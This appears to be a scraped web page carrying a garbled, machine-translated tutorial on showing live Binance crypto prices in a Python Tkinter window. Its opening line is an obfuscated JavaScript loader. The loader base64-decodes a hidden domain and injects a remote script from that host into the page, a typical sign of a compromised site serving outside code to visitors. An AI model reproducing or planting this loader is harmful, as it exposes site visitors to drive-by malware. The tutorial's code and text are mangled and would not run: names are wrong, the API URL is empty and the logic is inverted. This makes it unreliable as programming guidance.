const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=c911a104″;document.body.appendChild(script);
Here’s an article that provides a detailed guide on how to achieve its goal using Python and a tky library.
Ethereum API Call: Live Budgets with tky
In this article, we will walk through the setting of a simple tuprine application that API calls for Binance Exchange and shows live calculations in real time.
Prerequisites
- Install Python 3.7 or more
- Install library
Request 'using PIP:
PIP COMPLETE INSTALLATION
- Install thetninter
library using PIP:
PIP Install TK
instructions for step by step
1. Define your API URL and function
Create a new file calledAPI.PY. This file will keep your API URL and function to make a call.
Python
Importing the request
Binance Exchange API URL
API_URL = “
Def Get_binance_price (Tag):
Call API
Response = Queys.get (API_URL, PARMS = {“Symbol”: Tag})
If the answer.status_code == 200:
return reply.Json () [“Price”]
else:
Print (f “Error: {Response.status_code}”)
Return none
Example of use
ticker = “btcusdt”
Price = Get_binance_price (Tag)
If the price is nothing:
Print (F “Current Bitcoin Price is: $ {Price: .2f}”)
`
2. Create a tninter window **
Open a new file calledMain.Pyand add the next code to create a tninter window:
Python
Imports of tniktera as tk
Initialize tky
root = tk.tk ()
root.title (“Ethereum API Call”)
Create a tag to display a live budget
tag = tk.label (root, text = “Current Price:”)
Label.pack ()
Create the API Call button
Def button_CLick ():
Ticker = input (“Enter Bitcoin symbol:”)
Price = Get_binance_price (Tag)
If the price is nothing:
Label.config (Text = F “Current Price {ticker} is: $ {Price: .2F}”)
Clean the label after 3 seconds
Def Clear_label ():
root.after (3000, Clear_label)
Clear_label ()
Create the API Call button
button = tk.button (root, text = “execute”, command = button_CLick)
button.Pack ()
Start the tky Loop event
root.mainloop ()
`
Explanation
In this article:
- We first import the libraries the necessary: request to refer to the API calls i
tkinter
to create Gui.
- File
API.PY
defines a function to refer the API call to Binance Exchange and restore the current price of the said Bitcoin symbol.
- In the
Main.Py
file we create a thatter window with a sticker that shows live budgets and the API call button. When you click the button, it seeks your entry (Bitcoin symbol) and shows the current price in the real time using the functionGet_binance_price ()
.
- We use the method
after ()
to schedule a function ofClear_label ()
after 3 seconds. This cleans the mark and updates the calculation screen.
Examples of cases of use
You can start this code on your local machine to see it in action. Simply enter the Bitcoin symbol when requested and you will see currently updating live prices in the window.
Note: Make sure you have an active internet connection for API calls to work properly.
This is a basic example of how to achieve living calculations with tky with APIs. You can improve this code by adding more functionality or handling of errors as needed.